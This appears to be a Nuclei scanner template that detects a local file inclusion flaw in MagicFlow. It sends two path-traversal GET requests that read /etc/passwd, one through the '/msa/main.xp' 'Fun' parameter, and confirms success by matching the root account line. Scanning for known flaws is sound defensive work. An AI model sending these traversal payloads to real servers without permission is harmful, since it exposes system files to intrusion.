id: magicflow-lfi

info:
  name: MagicFlow - Local File Inclusion
  author: gy741
  severity: high
  description: |
    MagicFlow is susceptible to local file inclusion vulnerabilities because it allows remote unauthenticated users to access locally stored files on the server and return their content via the '/msa/main.xp' endpoint and the 'Fun' parameter.
  reference:
    - https://www.seebug.org/vuldb/ssvid-89258
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: magicflow,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../../../../../../etc/passwd"
      - "{{BaseURL}}/msa/../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220284e76a8347c7f24ec8efe3cf1ddad80c1db1ed6552e3b7a1211cb2251a34e38022100d7e6dbfe01130333773839f794a72c5c37d623aa749a7735c4db9fbbd6cd0033:922c64590222798bb761d5b6d8e72950